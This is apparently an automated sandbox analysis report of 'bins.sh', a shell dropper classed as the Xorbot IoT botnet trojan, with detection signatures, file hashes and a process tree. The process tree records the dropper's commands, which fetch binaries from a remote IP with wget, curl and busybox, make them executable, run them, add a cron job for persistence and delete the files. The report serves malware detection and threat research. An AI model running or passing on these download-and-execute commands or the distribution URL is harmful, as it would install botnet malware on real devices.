Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    18/01/2025, 22:27

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250118-2c27maxpck
  • SHA256 ff48529a246ef164510ba0db27730a27f2f392f60aa4cc89b167d310358304e6
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1881) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:700
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://94.154.35.94/bins/GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
          2⤵
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://94.154.35.94/bins/GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://94.154.35.94/bins/GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
          2⤵
          • Writes file to tmp directory
          PID:729
        • /bin/chmod
          chmod 777 GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
          ./GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:731
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:733
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:734
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:735
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:736
              • /bin/rm
                rm GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
                2⤵
                  PID:738
                • /usr/bin/wget
                  wget http://94.154.35.94/bins/YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
                  2⤵
                    PID:741
                  • /usr/bin/curl
                    curl -O http://94.154.35.94/bins/YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
                    2⤵
                      PID:742
                    • /bin/busybox
                      /bin/busybox wget http://94.154.35.94/bins/YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
                      2⤵
                      • Writes file to tmp directory
                      PID:743
                    • /bin/chmod
                      chmod 777 YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
                      2⤵
                      • File and Directory Permissions Modification
                      PID:829
                    • /tmp/YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
                      ./YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
                      2⤵
                      • Executes dropped EXE
                      PID:830
                    • /bin/rm
                      rm YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
                      2⤵
                        PID:832
                      • /usr/bin/wget
                        wget http://94.154.35.94/bins/14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
                        2⤵
                          PID:833
                        • /usr/bin/curl
                          curl -O http://94.154.35.94/bins/14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
                          2⤵
                            PID:834
                          • /bin/busybox
                            /bin/busybox wget http://94.154.35.94/bins/14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
                            2⤵
                            • Writes file to tmp directory
                            PID:835
                          • /bin/chmod
                            chmod 777 14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
                            2⤵
                            • File and Directory Permissions Modification
                            PID:848
                          • /tmp/14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
                            ./14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
                            2⤵
                            • Executes dropped EXE
                            PID:849
                          • /bin/rm
                            rm 14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
                            2⤵
                              PID:853
                            • /usr/bin/wget
                              wget http://94.154.35.94/bins/tMRu6CFAdPvNTkx75FBkXcP4a6FQDaKtF3
                              2⤵
                                PID:854
                              • /usr/bin/curl
                                curl -O http://94.154.35.94/bins/tMRu6CFAdPvNTkx75FBkXcP4a6FQDaKtF3
                                2⤵
                                  PID:857

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
                                    • Path /tmp/14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
                                    • Size 151KB
                                    • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
                                    • Path /tmp/GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
                                    • Size 151KB
                                    • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
                                    • Path /tmp/YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
                                    • Size 122KB
                                    • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    tmp.DgBO33
                                    • Path /var/spool/cron/crontabs/tmp.DgBO33
                                    • Size 210B
                                    • SHA256 f65a9cfc9cf417695531961e8b597c4dbe254d166de07aa39e725c9d66b388fe
                                    • MD5 SHA1 SHA512
                                    Submit Download